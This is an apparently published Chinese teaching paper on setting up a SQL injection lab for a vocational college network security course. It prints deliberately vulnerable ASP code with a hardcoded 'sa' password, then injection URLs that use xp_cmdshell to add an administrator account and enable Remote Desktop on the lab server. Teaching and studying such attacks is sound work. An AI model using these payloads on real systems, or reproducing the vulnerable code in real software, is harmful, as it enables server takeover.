高職院校SQL注入攻擊實驗環(huán)境搭建及使用研究*

曾煌存

（廣東外語藝術職業(yè)學院 廣東 廣州 510640）

高職院校SQL注入攻擊實驗環(huán)境搭建及使用研究*

曾煌存

（廣東外語藝術職業(yè)學院 廣東 廣州 510640）

SQL注入攻擊是黑客攻擊最常用的手段之一，其危害極大。在高職院校的網絡安全課中，使學生掌握SQL注入攻擊和相應的防范措施是一個教學難點。如果能夠搭建一個簡單的具有SQL注入漏洞的實驗環(huán)境，讓學生在這個實驗環(huán)境中進行模擬攻擊，對于學生更好地掌握SQL注入攻擊的原理和具體實施步驟具有很大的好處，進而能讓學生更好地掌握相應的安全防范措施。總結SQL注入攻擊實驗環(huán)境搭建及使用實踐，旨在對高職院校的SQL注入攻擊與防范實訓教學起到一定的促進作用。

高職院校；SQL注入攻擊；實驗環(huán)境；網絡安全

研究意義

SQL注入攻擊是黑客攻擊最常用的手段之一，其危害極大。一些不具備很多網絡安全技術的“腳本小子”，使用一些傻瓜式SQL注入攻擊工具，就可能攻陷網站，進而控制服務器。

高職院校的 《網絡安全與防范》課程，具有培養(yǎng)學生掌握較高網絡安全防范技能的任務。因此，必須使學生掌握好SQL注入攻擊的防范措施。而為了真正掌握SQL注入攻擊的防范措施，又必須透徹理解SQL注入攻擊的原理和具體實施步驟。經驗表明，這是一個教學難點，因為它需要精心構造SQL語句，來完成信息的查詢、語句的執(zhí)行等。

我們開展了一項教學改革，旨在提高《網絡安全與防范》課程的教學效果。該教學改革中的一項內容，就是研究如何更好地開展SQL注入攻擊的教學。我們認為，如果能夠搭建一個簡單的具有SQL注入漏洞的動態(tài)網站，讓學生對這個網站進行模擬攻擊，對于學生更好地掌握SQL注入攻擊的原理和具體實施步驟具有很大好處，也能讓他們更好地掌握相應的安全防范措施。

SQL注入攻擊實驗環(huán)境的搭建

我們使用 VMware WorkStation虛擬機軟件安裝了兩臺虛擬機，一臺虛擬機安裝的是Windows Server 2003操作系統(tǒng)，用于模擬被攻擊的服務器，IP 地址為192.168.248.132；另一臺虛擬機安裝的是Windows XP操作系統(tǒng)，用于模擬黑客使用的攻擊機，IP地址為 192.168.248.133。 在 Windows Server 2003虛擬機上，搭建了一個使用ASP+SQL Server 2000開發(fā)的簡單的動態(tài)網站。我們設計該動態(tài)網站的思路是：該網站具有SQL注入漏洞，能滿足SQL注入攻擊的實驗要求；該網站應該盡量簡單，以便于學生理解、分析和掌握。

按照以上設計思路，我們開發(fā)了一個簡單的名為testweb的動態(tài)網站。該動態(tài)網站需要訪問一個名為testweb的數據庫，該數據庫包含一個表：tblNews。tblNews用來保存新聞的標題和內容，初始時在這個表中輸入了一些測試用的數據。它的具體結構如表1所示。

表1 tblNews表包含的測試數據結構表

該網站包括以下三個頁面：conn.asp、news.asp、displayNews.asp。其中 conn.asp用于保存與 SQL Server 2000數據庫服務器的連接信息；news.asp用于讀取數據庫中的新聞記錄，顯示所有新聞的標題，并且將這些標題以超鏈接的形式顯示。當單擊某個新聞的標題后，即可以進入形如displayNews. asp?id=xxx的頁面，看到新聞的具體內容（其中“xxx”表示某條新聞在tblNews表中ID字段的值）。設置該網站的默認頁面為news.asp。

conn.asp的代碼如下所示：

＜%

ConstSqlDatabaseName= " testweb"

Const SqlPassword = " michaeljordan"

Const SqlUsername="sa"

Const SqlLocalName="（local）"

dim ConnStr

ConnStr = "Provider = Sqloledb；User ID = " & SqlUsername&"；Password="& SqlPassword&"；Initial Catalog=" & SqlDatabaseName & "；Data Source="&SqlLocalName&"；"

news.asp的代碼如下所示：

＜!--#include file="conn.asp" --＞

＜%

Dim conn

Set conn=Server.CreateObject（"ADODB.Connection"）

conn.open ConnStr

dim strSql

strSql = "select * from tblNews"

dim rs

set rs=conn.Execute（strSql）

dim newsID

response.Write（"＜html＞"）

response.Write（"＜body＞"）

response.Write（"＜table＞"）

while not rs.EOF

response.Write（"＜tr＞"）

response.Write（"＜td＞"）

newsID=rs（"ID"）

response.Write（"＜a href='displayNews.asp?id="&newsID&" '＞"&rs（"title"）&"＜/a＞"）

response.Write（"＜/td＞"）

response.Write（"＜/tr＞"）

rs.MoveNext

wend

response.Write（"＜/table＞"）

response.Write（"＜/body＞"）

response.Write（"＜/html＞"）

rs.close（）

conn.close

set rs=nothing

set conn=nothing

%＞

displayNews.asp的代碼如下所示：

＜!--#include file="conn.asp" --＞

＜%

Dim conn

Set conn=Server.CreateObject（"ADODB.Connection"）

conn.open ConnStr

dim newsID

newsID=request（"id"）

dim strSql

strSql="select*from tblNews where ID="&newsID

dim rs

set rs=conn.Execute（strSql）

response.Write（rs（"content"））

rs.close（）

conn.close

set rs=nothing

set conn=nothing

%

從以上三個頁面的具體代碼可以看出，我們所設計的動態(tài)網站具有簡單，易于理解、分析和掌握的優(yōu)點。

同時頁面 displayNews.asp有SQL注入漏洞，可以滿足SQL注入攻擊的實訓需要，其具有SQL注入漏洞的具體語句為：strSql="select *from tblNewswhereID="& newsID，該語句根據某條新聞的ID查詢tblNews表的內容。我們可以在形如displayNews.asp?id=xxx的地址后面加入精心構造的語句，從而執(zhí)行特定的SQL語句，控制服務器。

SQL注入攻擊實驗環(huán)境的使用

如上所述，我們開發(fā)的動態(tài)網站testweb具有SQL注入漏洞，下面我們通過具體的入侵步驟來展示該SQL注入攻擊實驗環(huán)境的使用。（以下攻擊步驟參考了相關網絡安全書籍的內容。）

（一）判斷網站是否有SQL注入漏洞

可以通過在displayNews.asp? id=1后加上 “’”、“and 1=1”和“and 1=2”等方法來判斷網站是否有SQL注入漏洞。如在地址欄輸入 ：http：//192.168.248.132/testweb/ displayNews.asp?id=1’ （1）

頁面返回如下錯誤信息：

MicrosoftOLE DB Provider for SQL Server錯誤 '80040e14'

字符串 ''之前有未閉合的引號。

/testweb/displayNews.asp，行 13

從以上提示信息可以看出，數據庫服務器為SQL Server。（1）的原理是：正常的SQL語句為select *from tblNews whereID=1，而（1）導致SQL語句成為：select* from tblNews where ID=1’，這樣會使得單引號沒有閉合而出錯。

在地址欄輸入：http：//192.168. 248.132/testweb/displayNews.asp? id=1 and 1=1 （2）

返回正常頁面。而在地址欄輸入：http：//192.168.248.132/testweb/displayNews.asp?id=1 and 1=2（3）

返回的錯誤信息是：

ADODB.Field錯誤'80020009'

BOF或 EOF中有一個是“真”，或者當前的記錄已被刪除，所需的操作要求一個當前的記錄。

/testweb/displayNews.asp，行 0

（2）導致 SQL語句成為：select*from tblNews where ID=1 and 1=1，因為1=1為永真式，所以不影響原來的查詢結果，返回正常頁面。而（3）導致SQL語句成為：select*from tblNews where ID=1 and 1=2，因為1=2為永假式，所以查詢結果為空，而程序中沒有對此進行處理，所以導致出現錯誤提示信息。

通過以上測試，可以明確地知道網站存在SQL注入漏洞，而且數據庫服務器為SQL Server。

（二）查找是否有xp_cmdshell擴展存儲過程

在地址欄輸入：http：//192.168. 248.132/testweb/displayNews.asp?id= 1 and exists（select*from master. dbo.sysobjects where name=’xp_ cmdshell’）

頁面返回正常，從而知道m(xù)aster.dbo.sysobjects表中存在擴展過程 xp_cmdshell。通過執(zhí)行xp_cmdshell存儲過程可以實現添加用戶、將用戶添加到管理員組、開啟遠程終端連接等許多操作。

（三）通過xp_cmdshell添加系統(tǒng)管理員賬戶

在地址欄輸入：http：//192.168. 248.132/testweb/displayNews.asp?id= 1；exec master..xp_cmdshell‘net user test test/add’ （4）

頁面返回正常。執(zhí)行該語句后，可以添加一個名為test，密碼也為test的賬戶。（4）的原理是：通過xp_cmdshell擴展存儲過程，執(zhí)行net user命令，實現添加賬戶的操作。

在地址欄輸入：http：//192.168. 248.132/testweb/displayNews.asp?id= 1；exec master..xp_cmdshell‘net localgroup administrators test/add’

頁面返回正常。執(zhí)行該語句后，可以將賬戶test添加到系統(tǒng)管理員組。

（四）開啟目標計算機的遠程終端連接

在地址欄輸入：http：//192.168. 248.132/testweb/displayNews.asp?id= 1；exec master..xp_cmdshell‘reg add“HKLMSystemCurrentControl-SetControlTerminal Server”/v fDeny TSConnections/t RE G_DWORD/d 0/f’ （5）

頁面返回正常。執(zhí)行完后，可以開啟目標計算機的遠程終端連接。（5）的原理是：通過 xp_cmdshell擴展存儲過程，執(zhí)行reg add語句，完成修改注冊表，開啟遠程終端連接的操作。執(zhí)行完以上步驟之后，即可以使用新建的test賬號遠程登錄目標計算機192.168.248.132。

討論

為了使學生掌握SQL注入攻擊的原理、具體實施步驟和相應的防范措施，必須搭建實驗環(huán)境讓他們演練SQL注入攻擊的實施步驟。為此，我們搭建了一個ASP+SQL Server 2000環(huán)境下的SQL Server注入攻擊實驗環(huán)境。我們沒有使用Dvbbs等現成的動態(tài)網站，因為這些動態(tài)網站功能較齊全，但代碼很復雜，不利于初學者理解、分析和掌握。我們設計的動態(tài)網站具有簡單，易于學生理解、分析和掌握的優(yōu)點。我們演示了在該實驗環(huán)境中進行SQL注入攻擊，判斷是否存在SQL注入漏洞，判斷數據庫服務器是否支持xp_cmdshell擴展過程，使用xp_cmdshell添加系統(tǒng)管理員賬號、開啟遠程終端連接、使用攻擊機遠程登錄目標計算機等操作。這表明使用我們搭建的簡單的SQL注入攻擊實驗環(huán)境，可以方便地進行SQL注入攻擊演練。這對提高學生的學習興趣，掌握SQL注入攻擊的原理和具體的實施步驟，提高網絡安全防護意識等都具有很大的好處。

同時，利用該實驗環(huán)境，或者對該實驗環(huán)境稍微進行擴展，我們還可以進行更多的SQL注入攻擊演練，如猜解數據庫、表、字段的數目、字段的名稱、字段的內容等等。

我們的教學經驗表明，通過使用這個簡單的實驗環(huán)境，教學效果能得到明顯的提升。

[1]肖遙.大中型網絡入侵要案直擊與防御[M].北京：電子工業(yè)出版社，2011.

[2]朱錫華，劉月鏵，侯偉.暗戰(zhàn)亮劍——黑客滲透與防御全程實錄 [M].北京：人民郵電出版社，2010.

[3]武新華，陳艷艷，王英英.矛與盾：黑客攻防與腳本編程[M].北京：機械工業(yè)出版社，2010.

G712

A

1672-5727（2013）12-0168-03

曾煌存，碩士，廣東外語藝術職業(yè)學院講師，研究方向為網絡安全技術。

廣東外語藝術職業(yè)學院2010年度院級科研課題《〈網絡安全與防范〉課程改革的研究》（課題編號：2010G15）